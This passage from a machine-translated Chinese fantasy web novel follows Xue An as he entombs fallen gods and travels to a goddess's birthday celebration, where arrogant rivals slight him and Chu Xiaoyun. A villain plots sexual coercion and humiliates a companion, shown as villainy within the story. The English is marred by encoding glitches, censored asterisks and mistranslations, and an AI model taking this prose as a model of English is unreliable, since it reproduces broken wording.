    The old man was silent for a moment, and then said: "I was transformed by the obsession of the gods who fell here, but because the gods here did not break through to become Daluo''s strong, my ability and memory are also very limited. If you really want to To explore the truth behind it, the current big figures in the God Realm should know some details!"


    Xue An nodded and held a fist solemnly, "Thank you!"


    The old man''s figure has gradually faded, but a smile of relief appeared on his face.


    "No thanks! But Chinese teenagers, I have a piece of advice to tell you that this cause and effect are so extensive that people can imagine, so you must be more careful!"


    Xue An looked down and said lightly: "Understand!"


    "Waiting for thousands of years! I''m too tired. There was a little goldfish here to accompany me before, but yesterday, she also went out! It''s great, everything is finally over!" The old man murmured, then lowered his head and rushed. Xue An smiled.


    "Chinese teenager After I leave, I hope you can bury our bones!"


    Xue was silent for a moment, then nodded solemnly.


    "it is good!"


    The old man smiled slightly, then his figure gradually dissipated and finally turned into nothingness.


    Xue An knew that he had already left.


    After the obsession of ���� transforms into form, the obsession will dissipate and never see again.


    Thinking of this, Xue An stood up in the air silently, looking at the bone forest below his feet, and whispered: "This blood debt, I will collect it for you!"


    After that, Xue An raised his hand and pressed it.


    Boom!


    The originally fragmented earth has completely fallen, and these bones are completely buried!


    Then Xue An rushed out of this world to the outside world.


    An Yan, who was waiting anxiously, hurriedly greeted him, "husband..."


    The words afterwards swallowed back.


    Because An Yan found Xue An''s complexion very ugly.


    Xue An nodded at her slightly, and then said lightly: "Yan''er, lead everyone to stay away from here!"


    An Yan was startled, and then nodded, "Okay!"


    Although she didn''t understand what Xue An was going to do, she still obediently followed.


    There was a low commotion among the crowd, including Chu Xiaoyun, who didn''t understand what Xue An was planning to do. .


    But they still quit the distance honestly, and then looked at them with puzzlement.


    I saw Xue An standing in the air, looking at the huge hole under his feet with a complex expression, and then said lightly: "The heroic spirit who died in battle should not be so silent and unknown! Today, I will build a monument for you!"

 Chapter 1074： Moved from the mountain

    After that, Xue An suddenly raised his eyes, the light in his eyes exploded, he traversed thousands of miles in a flash, and looked towards the far sky.


    looked like two beams of light patrolling the sky and the earth. After a while, Xue An''s figure flashed and disappeared in place.


    left a bewildered crowd.


    "What is Master Xue going to do?"


    "Who knows! It seems to be a little weird after returning from the Land of the Fall of God!"


    "He asked us to stay away, what is he going to do?"


    In these comments, Chu Xiaoyun couldn''t help but looked into the distance with a complicated expression.


    She found that she couldn''t see through Xue An more and more.


    At the beginning, she thought that Xue An was just a young and powerful man with a strong cultivation base.


    But now, things seem to be far from being as simple as I thought.


    Just as everyone was talking about it, someone suddenly shouted in a shocked voice: "Look at the sky in the distance!"


    Everyone looked up one after another, and then they all stood there blankly.


    I saw a towering mountain peak appearing in the sky.


    This is nothing unusual.


    Although the cursed city is surrounded by the vast sea, but at most you can see the mountains and rivers for a thousand miles.


    But the peculiarity of this mountain is that it is coming here at an amazing speed.


    The speed is so fast that he even dragged out the phantoms behind him.


    "This...what is going on?"


    Everyone is wondering.


    At this time, the mountain had already flown to the front.


    Until then, people were extremely shocked to discover that this mountain was cut off by a single root, and even the cut was extremely smooth.


    And the reason why this mountain summit is speeding up at an extremely fast speed is all because there is a person under this mountain peak holding the mountain with one hand.


    That''s right!


    The one who returned to the mountain is Xue An!


    I saw him standing in the void, holding the sky with one hand, his expression indifferent, as if this huge mountain with a height of ten feet was just waiting.


    And this highly impactful scene made everyone look silly.


    Many people ask themselves that with their current strength, it is not difficult to destroy a mountain, and it can be done barely by moving it somewhere.


    But like Xue An, he lifted the weight lightly, in the scene of no tea, he held up a huge mountain with a height of ten thousand meters, and galloped thousands of miles across the sea to come here.


    Many people don''t even say they have done it, or even think about it.


    Chu Xiaoyun was also stupid.


    She has the highest cultivation level and vision among the people present, and she naturally understands how difficult this seemingly easy move is.


    But Xue An''s performance was like walking in a leisurely courtyard, obviously not using all his strength.


    And An Yan on the side looked at Xue An with eyes full of little stars.


    She felt that her husband is almost so handsome now, so she couldn''t help but yelled.


    "Husband, come on!"


    Xue An smiled at her, then flew to the front of the giant cave, gave a soft voice, "Hide away!"


    Actually, he didn''t need to tell him at all. The crowd had already stepped back more than a dozen miles for fear of being affected again.


    Xue An swayed with one arm and suddenly used force.


    This huge mountain was thrown out of the air by Xue An and hit the bottom of the sea in a parabolic attitude.


    Boom!


    After ���� there was a loud and deafening noise, the entire sea area seemed to have a magnitude 9 earthquake, and it began to tremble violently, and the shock wave wanted to spread at a violent speed.


    Xue An waved his hand and said lightly: "Town!"


    The one-word order suppresses Wanli.


    The shock wave dissipated instantly, and the huge wave formed by the huge earthquake was also suppressed.


    A big storm was casually eliminated by Xue An.


    The water wall dissipated, the sea water rushed back to the original place, everything was calm again, but above the originally flat sea, there was a huge mountain that stood tall like a sword.


    Everyone is in shock.


    Xue An waved his hand, and a sword light carved out a few big characters on the top of the mountain.


    "The Tomb of the Dead!" Everyone whispered softly, and they didn''t quite understand what this meant.


    But no one dared to ask questions, because people could feel the chill lingering around Xue An.


    Only An Yan flew up silently and whispered: "Husband, you... are you all right!"


    Xue An woke up from his thoughts and nodded and smiled at Anyan, "It''s okay! Just thinking about something!"


    Seeing this, An Yan wanted to say something, but in the end he stopped talking.


    At this point, this divine pattern storm is completely over.


    Xue An everyone returned to the cursed city.


    Despite Chu Xiaoyun''s repeated invitations, Xue An did not go to the City Lord''s Mansion, but returned to Zhuo''s house.


    When Xue An''s figure appeared in front of the door, the door of Zhuo''s family, who had already been prepared, opened, and all the servants respectfully separated on both sides.


    And Zhuo Yangyang, who was all dressed up, stood in front of the door anxiously waiting.


    After seeing Xue An''s arrival, Zhuo Yangyang looked happy and hurriedly greeted him.


    "My lord!" Zhuo Yangyang was so happy.


    Xue An nodded slightly, but looked at the Zhuo Da Butler standing behind Zhuo Yang Yang.


    This Zhuo Da steward also stepped forward respectfully and saluted Xue Anshen, "Everyone in the Zhuo family, welcome adults!"


    Following his voice, the servants shouted, "Everyone in the Zhuo family, welcome the adults!"


    Xue An shook his head with a smile, "The night is long, but I wonder if Steward Zhuo can sleep peacefully now?"


    The steward Zhuo smiled bitterly when he heard the words and then handed over his hands solemnly, "My lord, if the beasts are removed, you can sleep peacefully!"


    Xue An laughed loudly, and then walked into the Zhuo family with his head up.


    The next few days.


    Xue An''s actions in the Sea of ??God''s Punishment were thoroughly spread, and the situation began to ferment further.


    No one dared to question Xue An''s strength anymore.


    The only thought in people''s minds at this moment is how to get in touch with this newly emerging young powerhouse.


    So, the front of Zhuo''s house became lively.


    Even though they all know that there is little hope, people from all major families still sent someone to squat in front of Zhuo''s house, hoping to take the opportunity to see Xue An.


    But all the disturbances in the outside world have nothing to do with Xue An.


    At this moment, he is busy dealing with the aftermath.


    There are a lot of things obtained this time, especially this **** pattern, which is beyond Xue An''s previous assumptions.


    Finally, when everything just sorted out, Chu Xiaoyun came to meet Xue An in person.


    "Time is coming?" Xue An raised his eyebrows slightly.


    "My lord, in terms of time, there are still ten days! But the road is difficult and dangerous, and we have to delay for a while on the road! So it''s time to start now."


    Xue An nodded, "Okay! In that case, let''s go now!".


    The matter has been settled, Xue An taught Zhuo Yangyang several sets of exercises, and then asked An Yan and others to enter the Fubao Xiaolou, and Xue An took it with him.


    then followed Chu Xiaoyun on the road to Amaterasu God Realm.

 Chapter 1075： Skyfire Gods

    If viewed from the outside world, this God Realm is a structure similar to a mullet, with its own system inside.


    Among the heavens and all realms, such a complete and vast world is also called the Great World.


    The former cursed city is located in the deserted land at the lowest level of the God Realm. Therefore, if a high-level **** like the Ziwei Ziwei wants to go, he has to come physically.


    And Amaterasu God Realm is three levels higher than Cursed City, so Xue An and Chu Xiaoyun have to traverse several voids before they can reach Amaterasu God Realm.


    Of course, this kind of crossing the void is different from walking among the heavens.


    Because it is traversing in this world, the plane barrier is much weaker, so there is no need for Da Luo Xiu.


    But even so, this road is still extremely difficult.


    After three full days, Xue An and Chu Xiaoyun finally came to a level that was only one rank from Amaterasu God Realm.


    "My lord, if you cross the barrier in front, you will be Amaterasu God Realm!" Chu Xiaoyun whispered.


    Xue An was noncommittal, but looked down at this whole level.


    The environment and aura here are much better than the Cursed City, but the living beings are lonely and very deserted.


    Seeing Xue An��s doubts, Chu Xiaoyun said: "My lord, this place is too close to the Amaterasu God Realm. The gods often come down to play and harvest. As the years go by, the creatures here will be slaughtered and it will be difficult to grow! "


    Xue An heard a cold light in his eyes.


    "My lord, are you going?" Chu Xiaoyun asked.


    Xue An nodded, "Go!"


    Just as Xue An and Chu Xiaoyun were preparing to cross the barrier of this world and head to the Amaterasu God Realm.


    The void suddenly began to vibrate violently, and then the space rippled like a disturbed water surface.


    Then I saw a magnificent giant flying boat that exudes publicity and luxury everywhere directly through the space barrier and entered this realm.


    As soon as he saw this star boat, Chu Xiaoyun''s expression instantly became extremely ugly.


    "My lord, let''s go!"


    said, Chu Xiaoyun was about to lead Xue An out of here.


    can be at this moment.


    I heard a female voice full of sarcasm and jokes coming from the flying boat.


    "Who am I? It turns out to be Miss Chu! It''s really a lucky meeting!"


    With the voice.


    A woman appeared on the flying boat.


    This is a plump-looking woman. She looks pretty good and can be called gorgeous, but the ridicule from the corners of her eyes and eyebrows makes her facial features look very mean.


    "Miss Chu, long time no see!"


    Then she saw Xue An next to Chu Xiaoyun. She was startled first, and then she looked at Xue An with extremely critical eyes, and gradually revealed a disdainful sneer.


    "Yeah, there is another one!"


    Chu Xiaoyun''s face turned pale, and then took a deep breath, "Ruan Jingxiu, you and my well do not offend the river, I hope you don''t deceive people too much!"


    When Ruan Jingxiu heard the words, she covered her mouth very exaggeratedly, and said in surprise, "Miss Chu, what do you mean by this? I just wanted to say hello to you. How can I bully you? Besides... how do you say it is my senior sister, I am a senior sister, of course I must respect it more!"


    "It''s just..." Ruan Jingxiu''s eyes moved, looking at Xue An with a playful look, "I''m a little curious about this person''s identity, maybe it''s Senior Sister Chu..."


    Without waiting for Ruan Jingxiu to finish, Chu Xiaoyun said coldly: "Ruan Jingxiu, this is an adult I respect very much. I hope you can show respect!"


    "My lord?" Ruan Jingxiu was taken aback for a moment, and then chuckled with her mouth covered.


    "An adult who doesn''t even have his own flying boat and crosses the void with his body?"


    "You..." Chu Xiaoyun was furious and wanted to speak.


    At this moment, another man appeared beside Ruan Jingxiu.


    This man looks like a young man in his twenties. He looks handsome and well dressed, but his face is full of arrogance.


    "What''s wrong? Is anyone causing trouble?" The man said lightly.


    As soon as he saw this man, Ruan Jingxiu instantly turned into a charming little woman and said in a tired voice.


    "Oh, Shao Qi, who would dare to cause trouble in front of you? I just happened to meet an acquaintance and just say a few words!"


    Ruan Jingxiu said with a smile, then turned his head and said with a smug look at Chu Xiaoyun.


    "Senior Sister Chu, this is Qi Hongboqi of the Skyfire God Clan. This time I also went to God Realm to celebrate the birthday of God for Master!"


    Chu Xiaoyun was startled when he heard the words, "Sky Fire God Race?"


    "Yes! This time Master��s God��s Birthday is unprecedented! Not only will all the adults of this God��s realm attend, but also people from other God��s realms will come! Tsk, Sister Chu, but I don��t know if Master sees you with this What kind of attitude would an adult have!"


    When talking about the word "adult", Ruan Jingxiu deliberately increased his tone, which seemed full of mockery.


    Chu Xiaoyun''s complexion gradually turned pale, but it was not because of Ruan Jingxiu''s words, but because he was worried that the scale of this celebration of God''s Birthday was so large, would it add a lot of variables?


    You must know that the Heavenly Fire God Clan is also a famous family in the God Realm.


    Even they sent people, and this celebration was obviously a bit extraordinary.


    Just when Chu Xiaoyun was lost in thought.


    Qi Hongbo, a young man of the Skyfire God Clan, said indifferently: "Let''s go!"


    After that, he turned around and left.


    And from beginning to end, he didn''t even look at Chu Xiaoyun and Xue An.


    It seems to himThese people are ants, and they are not worth seeing.


    Ruan Jingxiu said hurriedly: "Yes!"


    Then he deliberately sighed and said, "Senior Sister Chu, I still wanted to give you a ride, but Qi Shao''s attitude seemed unhappy. There is no way, you should slowly drive with your body!"


    said, Ruan Jingxiu smiled and turned and left.


    After a while, the flying boat started again, broke the barrier directly, and disappeared without a trace.


    Xue An hasn''t spoken, but just watched quietly.


    It was not until a long time later that Chu Xiaoyun came to his senses, and then said to Xue An apologetically: "My lord, I''m so sorry, I..."


    Xue An waved his hand to stop Chu Xiaoyun from continuing to speak, and then said lightly: "Why are you embarrassed?"


    Chu Xiaoyun was taken aback, "But just..."


    Xue An smiled slightly, "Are you going to be angry with the ant''s arrogance?"


    Chu Xiaoyun was a little startled.


    Then Xue An lightly said: "Okay, let''s hurry!"


    Chu Xiaoyun gritted his teeth, "But my lord, judging from what Ruan Jingxiu said just now, the scale of this birthday is unprecedented, and we..."


    "Are you scared?"


    Chu Xiaoyun shook his head solemnly, "I''m not even afraid of death, let alone this, I''m just worried...".


    "Okay!" Xue An lowered his eyes, "I know what you are worried about, but for me, the larger the so-called God Festival, the happier I will be, understand?"


    Chu Xiaoyun froze for a moment, then nodded heavily, "Understood!"

 Chapter 1076： Amaterasu God Realm Cursed Gods Birthday

    at the same time.


    in that flying boat.


    Ruan Jingxiu''s whole body was tired of Qi Hongbo''s arms, gently kneading his shoulders, and then said coquettishly.


    "Shao Qi, you are amazing! People''s legs are still sour now!"


    Qi Hongbo''s face was as cold as ice, and he did not speak. It was not until a moment later that he calmly said, "Who was that woman... just now?"


    Ruan Jingxiu''s body stiffened, but he relaxed again in an instant, and then said softly: "Shao Qi, that woman is Chu Xiaoyun, who is nominally my fellow sister, but my master has other ideas about accepting her as a disciple. After the use of it, he was exiled to the lowest abandoned land to be a ridiculous city lord, so no one took her seriously!"


    "Chu Xiaoyun, Chu Family..." Qi Hongbo whispered to himself.


    Ruan Jingxiu giggled and said, "Qi Shao doesn''t know something. Their Chu family ceased to exist a hundred years ago. Where is the Chu family!"


    "Who is the man next to that?" Qi Hongbo then asked.


    "Who knows! Chu Xiaoyun said it was an adult she respected very much, but Qi Shao also saw it. The two didn''t even have a flying boat, and they crossed the void with their physical bodies. This is also worthy of being an adult. ?" Ruan Jingxiu said sarcastically.


    Hearing Ruan Jingxiu''s words, Qi Hongbo''s eyes gradually showed a look, and said slowly.


    "Very good, then after the celebration, find a way to send this woman to my bed!"


    Ruan Jingxiu trembled slightly, then lowered his gaze, and responded in a low voice: "Yes!"


    Qi Hongbo stretched out his hand, stroked Ruan Jingxiu''s smooth cheeks, and said lightly: "Are you losing?"


    "No...no!"


    "That''s the best, you have to figure out your own position, as you, only worthy of being one of my playthings!"


    Ruan Jingxiu didn''t dare to say anything, so he lowered his head and said nothing.


    Qi Hongbo walked to the porthole of Feizhou, standing with his hands holding hands, his face full of arrogance.


    As the only descendant of the Skyfire God Clan, he has enjoyed the best treatment since his birth.


    From small to large, as long as he wants, there is nothing that he cannot get.


    And he has lived up to the expectations, but he has been promoted to a half-step Ronaldo after a century of development, becoming a monarch-level powerhouse.


    This makes his future extremely bright. The next king of the Skyfire God Race is none other than him, and he is even expected to become a real big man in the God Realm.


    And this time he was sent to the Amaterasu God Realm to participate in the birthday of the cursed goddess, and it was also the first time he publicly attended a large-scale event as the young master of the sky fire.


    If nothing happens, there will be more and more such activities in the future.


    This naturally makes this Qi Hongbo confident and energetic.


    In contrast, Ruan Jingxiu is just a condiment for this trip, and there is no point at all.


    But the woman I saw just now is a bit interesting.


    When he thought of Chu Xiaoyun''s slim body like a beautiful snake, he couldn''t help but gradually heavier, and then said coldly: "Kneel and climb over!"


    Ruan Jingxiu, who had a gloomy face, was startled when he heard the words, then bit his lip, slowly leaned down, and crawled over with a humiliating face.


    "Is this the Amaterasu God Realm?" After another day of crossing, Xue An and Chu Xiaoyun finally crossed the barriers and appeared on a high mountain.


    Xue An looked around, but saw mountains surrounded by giant trees towering into the sky.


    And the aura pervading in the air is so rich that a white mist appears.


    Even the space is much stronger.


    Xue An understands that this is because the law of heaven in this world is stronger and stronger than the general world, and the upper limit of strength is much higher than that of the general world, so the space here is strengthened.


    "That''s right, my lord, this is where the Amaterasu God Realm is!" Chu Xiaoyun looked around, then looked northwest.


    "My lord, the real cursed city is here!"


    "Okay! Let''s go!"


    This realm is indeed worthy of the word "God''s Realm". The vast territory exceeds all the worlds Xue An has traversed before.


    Even at Xue An''s speed, it took more than half an hour to fly out of the mountains.


    , the mountains are at least ten thousand miles wide.


    When the shadow of the city finally appeared in the front, Chu Xiaoyun said solemnly: "My lord, this is the territory of the cursed goddess! Those cities are all religious countries that believe in her!"


    Xue An looked down at the city after another passing by, and found that although these cities were very beautiful and huge, they were deserted and desolate, without the slightest human smoke.


    And the residents in the city are even more confused, like a puppet, without the slightest aura that a human race should have.


    Xue An was startled slightly, and then an angry expression appeared in his eyes.


    Chu Xiaoyun sighed slightly.


    "My lord, the people you see are those who are called slaves of faith by the cursed goddess!"


    "And this cursed goddess can speed up the accumulation of the power of faith, so as to improve her own **** level, she can do nothing!"


    "The reason why these people are like puppets is because the goddess of curse has put a shackle on each of them, so that they have no other desires There is only one thought left in their minds. That is to believe in a cursed goddess!"


    "The curse goddess once said in person that these people have only one purpose, and that is to provide them with pure power of faith, so they should not have any other ideas!"


    Xue An was silent, and after a while, he said coldly: "I''m looking for death!"


    After another quarter of an hour, the city under my feet became denser, but the situation was similar.


    suddenly.


    A magnificent sky city suddenly appeared in the distant sky.


    This city is built on a flat hill suspended high in the sky.


    At this moment, it was twilight in this world, and a huge light wheel that was dozens of times larger than the sun slowly sank to the west.


    The golden light shines through from behind the city, filling the city with supreme majesty.


    People with weaker strength may kneel down and worship after seeing the city.


    In fact, there are indeed many people on the ground, kneeling forward step by step with religious faces.


    "That is the city that the goddess of cursing has transformed with divine power. As long as the mortals who witness this scene will be infinitely pious, countless people have died on the pilgrimage!" Chu Xiaoyun sighed softly.


    Xue looked at the city quietly, but the corners of his mouth raised slightly, showing a cold smile. .


    In the sky at this moment, Xue An and his party were not the only ones, they saw a brilliance exuding the majesty of the strong across the sky, flying towards the city.


    Xue An narrowed his gaze and said lightly: "Let''s go! Let''s see how this good show starts!"

 Chapter 1077： The real cursed city

    The cursed city at this moment is full of voices and lively.


    Powerful people from various heavenly protoss gather here. Anyone who walks on the street may be the ancestor of a certain wealthy family!


    In this situation, when Xue An and Chu Xiaoyun stepped into the city, they did not attract anyone''s attention.


    This cursed city is obviously different from the cities on the ground. There are all kinds of shops on the street.


    A pharmacy that sells spiritual herbs and medicines, a weapon shop for magic weapons, a rune armor shop for rune armor, and various shops are dazzling.


    There are even a lot of restaurants and restaurants lined up in it, and the aroma from them fills up half the street, and there is a lot of people and seats. Obviously business is very good.


    Such a scene full of fireworks made Xue An slightly surprised.


    As if seeing the doubts in Xue An��s heart, Chu Xiaoyun lowered her voice and explained: "My lord, these shops are specially opened by the goddess of curse, in order to attract powerful gods from all over the place to trade. She is so profitable. Take the commission difference!"


    was talking, and saw two drunk men fighting together in a wine shop, but seeing the brilliance and faintness of the two men, they were all gods condensed.


    When Chu Xiaoyun saw this, a touch of disdain appeared on his face, "Many people think that gods are unattainable, but they don''t know that gods are actually mortals with powerful power, even more fierce than mortal desires! In this restaurant, it stands to reason that after the cultivation level reaches a certain level, there is no need to eat anymore!"


    "But how many people can really restrain the desire to live in their hearts? These restaurants and restaurants go to various places to collect rare ingredients, just to satisfy the appetite of these gods!"


    Xue An smiled, "You seem to look down on these guys?"


    Chu Xiaoyun shook his head, "I don''t look down on them, I look down on all the gods today!"


    "Flying camp and Gougou, but pretentious! If the Protoss does not change, sooner or later they will perish in the forest of all races!"


    Xue An gave Chu Xiaoyun a surprised look.


    This kind of insight, actually spoken from a woman''s mouth, is indeed quite extraordinary.


    There are still five days before the birthday of the cursed goddess. Because of the unprecedented scale of this celebration, there are so many visitors.


    In order to entertain these powerful people from all sides, the major disciples under the curse of the goddess are dispatched collectively and are responsible for arranging accommodation for each visitor.


    When Chu Xiaoyun and Xue An came to a settlement point, the busy female disciples just came down.


    When they saw Chu Xiaoyun, these female disciples couldn''t help being surprised.


    "Chu...Chu Xiaoyun?" a female disciple said with a stunned expression.


    After the words were spoken, this female disciple realized that the title was wrong, but she did not hurriedly changed her words: "Sister Chu, you are back!"


    Chu Xiaoyun didn''t seem to notice this, and nodded slightly, "This is an adult who is here to participate in the birthday of the Master, please prepare a place to stay!"


    "Oh...good!" The female disciple took a look at Xue An, took out the list and looked at it, "Sister Chu, there is still a C-shaped courtyard now, look..."


    Chu Xiaoyun''s expression was cold, "You asked me to bring the guests back to stay in the C room?"


    An unnoticeable disdain flashed in the eyes of this female disciple, and then she said in a tone of voice, "Sister Chu, it��s not that I disrespect you and your guest. It��s really that you came too late. There are no more courtyards of A and B! If you are unwilling, you can only wait a little longer."


    Chu Xiaoyun was furious, she was not a fool, of course she could hear the perfunctory prevarication in the words of the female disciple responsible for dispatching the house.


    But when she was about to have an attack, Xue An said calmly: "C is the C name! No need to argue about these trivial matters!"


    Chu Xiaoyun heard the words and calmed down a bit, suppressed the anger in his heart, bowed his head and said: "Yes!"


    The female disciple showed a smug look on her face, and then took out a wooden sign.


    "Sister Chu, you are all familiar with the city, so we don''t need to give it away. You can go with your house card!"


    Chu Xiaoyun''s face was as cold as ice, knowing that there was no point in arguing anymore, so he took the house card and turned around and left.


    But when the two of them had just stepped out of the room with their front feet, they heard a sneer from behind.


    Chu Xiaoyun was furious.


    You have to know that although she was only a marginal person under this cursed goddess before, she still has the status of a senior sister.


    Except for the true disciples like Ruan Jingxiu who are qualified to disdain her, these ordinary disciples still have to respect her when they see her.


    I didn''t expect to wait for this return, even such ordinary disciples would dare to show off her face.


    This naturally made Chu Xiaoyun angry.


    At this time, Xue An said lightly: "Do you want to take revenge completely, or do you plan to fight for these trivial things?"


    ''S words were like a heavy hammer, causing Chu Xiaoyun to wake up in an instant, and the anger in his cavity melted like ice and snow.


    Xue An and Chu Xiaoyun are gone.


    The female disciples in the room began to talk about it Ha ha, does this Chu Xiaoyun really think he is a master sister? Before, the master regarded her very seriously, so we were afraid of her. Now she has been exiled to that deserted place. She still wants to put on the air of a senior sister. I really don��t understand the level of eyebrows! "The female disciple in charge of handling the matter sneered.


    "Hey, who is that man?" a female disciple said.


    "Didn''t you hear that? That''s an honorable adult that Chu Xiaoyun personally invited!" Another female disciple said in a weird manner.


    ''S words drew a sneer from several people.


    "This boy is a little self-aware, but as a man, he doesn''t dare to say hard words, and dare to call himself an adult? It''s ridiculous!" The female disciple mocked.


    "Hehe, I think this time the Master''s birthday, this Chu Xiaoyun is unlucky again! It may even take his life!"


    "Oh? Why do you say that?"


    "Because I have heard that Master��s breakthrough is imminent, so this birthday will be so grand! You think, the reason why this Chu Xiaoyun can live now is because Master wants to get her talent And blood! And once Master breaks through, she will have no use value. With Master��s temper, she will definitely die?"


    Everyone in the room couldn''t help but realize.


    "No wonder! Now it makes sense!"


    "Hey, what about Chu Xiaoyun when I see it!".


    just when they were talking about it.


    I heard the sound of messy footsteps outside the door, and then saw Qi Hongbo, the young master of the Skyfire God Clan, and Ruan Jingxiu and a group of people walking in.

 Chapter 1078： Jade Banquet

    When they saw Ruan Jingxiu, all these female disciples looked serious and stood in concentration.


    "Sister Ruan!"


    "Meet Sister Ruan!"


    In the greetings one after another.


    Ruan Jingxiu nodded proudly, "This is Qi Shao, the young master of the Skyfire God Clan, arrange a first-class residence!"


    "Yes! Now there is a courtyard with a name of heaven that is unused, and Young Master Qi can live in now!" The female disciple, who had just said that there was no room, said with a smile on her face.


    Ruan Jingxiu nodded, "Alright, then lead the way now!"


    "Yes!" The female disciple responded hurriedly, and then suddenly remembered something, hurriedly said: "Senior Sister Ruan, Chu Xiaoyun just came!"


    "Huh?" Ruan Jingxiu was startled when he heard the words.


    Qi Hongbo, who had turned around and was about to leave, couldn''t help stopping when he heard the words, and then turned around.


    "This Chu Xiaoyun is the woman you saw on the road?"


    Ruan Jingxiu dared not hide it, so he nodded and said, "Yes!"


    Qi Hongbo raised a smile at the corner of his mouth, "I came here faster than I was driving the flying boat, it''s kind of interesting!"


    Then he said faintly: "It just happened that I just received a few friends'' invitations to gather in Yuli Pavilion tonight. Then you will call this Chu Xiaoyun too!"


    Ruan Jingxiu lowered her head deeply to conceal the hatred in her eyes, but she said calmly, "Yes!"


    "By the way, I invite that boy as well!"


    "Understand!"


    Qi Hongbo smiled, and then strode away.


    As soon as he left, Ruan Jingxiu raised his hand and slapped the female disciple viciously.


    "Bitch, do you need to talk too much?"


    The female disciple''s mouth and nose were bleeding, but she didn''t even dare to wipe it. She just cried and said, "Senior Sister Ruan, isn''t this what you told us before? If you see Chu Xiaoyun have any new trends, Be sure to report it to you without delay!"


    Ruan Jingxiu was taken aback when he heard the words, remembering that he had indeed said these things.


    But immediately, she couldn''t help being furious again, raised her other hand and slapped the female disciple again, and then viciously said, "Do you dare to refute when I speak?"


    The female disciple was so scared that she threw herself on her knees and knelt on the ground, "Senior Sister Ruan, I was wrong, I will never dare anymore!"


    Ruan Jingxiu sneered, "Where does this Chu Xiaoyun live?"


    "Back to Senior Sister Ruan, I have arranged her and the boy she brought to the No. 7 courtyard of the C character!"


    "C-shaped room... very good, well done!" Ruan Jingxiu nodded in satisfaction, then turned and left.


    The female disciple, who had been slapped twice in vain, finally breathed a sigh of relief, and then glanced at Ruan Jingxiu''s back with a bitter look.


    The ���� C-type courtyard is located in the corner of the Cursed City. The conditions are really not good, it can only be regarded as improvised.


    The people who were arranged to live here were all ordinary protoss at the righteous **** level or even the partial **** level, that is to say, there was not even a half-step true god.


    When Xue An and Chu Xiaoyun stood before and after the No. 7 courtyard of C, many people looked at them with weird eyes.


    Because of this courtyard, even here it is considered the most broken.


    Even the wooden door is crooked and twisted, as if it could fall off with a push.


    Xue An doesn''t feel at all about it.


    Chu Xiaoyun felt deeply guilty.


    "grown ups����."


    Xue An smiled, "I can only use this little trick, it seems that this character is really in the same line as R country!"


    After that, Xue An pushed the door casually and walked in.


    Chu Xiaoyun was stunned, and hurriedly followed in.


    Although the courtyard is dilapidated, fortunately, everything used is readily available. At this moment, Chu Xiaoyun also turned into a maid, and used his magical power to clean the courtyard of the house.


    After everything was just packed, Ruan Jingxiu arrived.


    As soon as he entered the yard, this Ruan Jingxiu covered her mouth extremely exaggeratedly, "God, these guys dare to arrange for Senior Sister Chu''s guests to live in such a place. Damn it!"


    Chu Xiaoyun glanced at her coldly, "Ruan Jingxiu, are you here to talk about this?"


    Ruan Jingxiu smiled, consciously or unconsciously, he looked at Xue An who was sitting in the distance drinking tea.


    "Of course not, Senior Sister Chu, I have good news for you!"


    "good news?"


    "Yeah! Young Master Qi Hongbo of the Skyfire God Clan, Qi Shao, specially invites you to join him and a few adults in Yuwei Pavilion tonight! Isn''t this good news?"


    Chu Xiaoyun''s complexion changed, and his eyebrows gradually raised, "Ruan Jingxiu, this is a good thing for you, but I am not uncommon, you go back and tell that Master Qi, I have no time to pass!"


    "Oh?" Ruan Jingxiu was delighted.


    This is what she wants.


    She finally climbed the big tree Qi Hongbo, how could she allow Chu Xiaoyun to rise to the top so easily?


    "Then I''ll tell Shao Qi what you mean when I go back, but..." Ruan Jingxiu looked at Xue An disapprovingly.


    "Shao Qi also said that he also invited this adult to go with him!"


    Ruan Jingxiu never thought Xue An would go.


    She felt that with the performance of this teenager before, she would definitely not dare to go after this invitation.


    So this invitation just said casually, and then turned around and left.


    I didn��t expect Xue An to put down his teacup and smiled slightly, "Oh? Invite me to go too?"


    Ruan Jingxiu was taken aback for a moment, "Yes! This time is a small gathering between Qi Shao and a few family members, you..."


    Ruan Jingxiu''s words are not finished, but the meaning is already obvious.


    Those who can go are all characters with extraordinary identities and backgrounds. If you want to go, you have to weigh your own strength.


    But she never expected, Xue An smiled when she heard the words, "Then you go back and tell you that young Qi, and said that I will go there when the time comes. By the way, Miss Chu will also go with you!"


    "You..." Ruan Jingxiu became angry, but didn''t dare to say anything, so he gave Xue An a bitter look and turned away.


    After she left, Chu Xiaoyun asked in confusion: "My lord, why do you agree to this invitation? You must know what Qi Shao is not at ease!"


    Xue An smiled, "I know he''s not at ease, but there are still five days before the date is the date. Just stay like this, don''t you think it''s too boring? You have to have some fun!"


    If Qi Hongbo knew that he had become Xue An��s pleasure, he would probably vomit blood with anger.


    But at this moment, he is sitting comfortably on the cloud bed, enjoying the massage of several beautiful maids.


    When Ruan Jingxiu came back, he raised his eyes slightly, "How is it?"


    Ruan Jingxiu whispered: "I have agreed!"


    Qi Hongbo smiled up to the sky, "You did a good job, I thought you would mess this up on purpose!"


    Ruan Jingxiu dare not speak.


    Qi Hongbo said lightly: "Go get ready, tonight''s Yuli Pavilion, no other idlers are allowed, I have reserved the venue!"

 Chapter 1079： The tyrants gather

    Jade Pavilion is the most high-end and luxurious restaurant in the Cursed City. It is a hundred meters high and consists of 33 floors. Each floor has its own cave. All those who can consume here must be the strong and indispensable Tianjiao. .


    And I heard that the backstage boss of this Yuwei Pavilion is the most favored disciple under the seat of the cursed goddess, Pu Yanru, known as the lord of the small town.


    So the status is even more detached.


    The lights are on.


    Yuli Pavilion, which was already lively at this time, has become very quiet today.


    Yulige��s chief steward was standing at the door with his hands.


    Regardless of their status and cultivation, all those who come to eat and consume before entering the door are politely but firmly rejected.


    Although most people were dissatisfied, they knew from the situation in front of them that there must be a tyrant Tianjiao who had booked the venue, so they had to leave in anguish.


    But there are still a lot of people who are self-reliant on their dignity, and feel that Yulige''s doing this is completely devoid of face, so they began to question with arrogance.


    "What? I can''t even enter? Are you guys blind and don''t even recognize this young master?" a man in gorgeous clothes asked coldly.


    "Master Yue, of course we recognize you, but today is indeed a special matter. The order is given that no idlers are allowed to enter, so I am really sorry!" The chief steward bowed slightly and said very sincerely.


    "Idler? Am I even an idler?" The young master Yue was even more furious when he heard the words, and started to walk inside.


    The chief steward gently took a step forward, blocking the way, and then respectfully said: "Master Yue, although it is a bit ugly, you really can''t enter, because the person who entrusted the Yuli Pavilion today has a very special identity!"


    "Go away, I want to see who the big man is today, there is such a big style, even my Master Yue''s face!"


    The Master Yue said, he was about to walk inside.


    There is a look of embarrassment on the face of the chief steward.


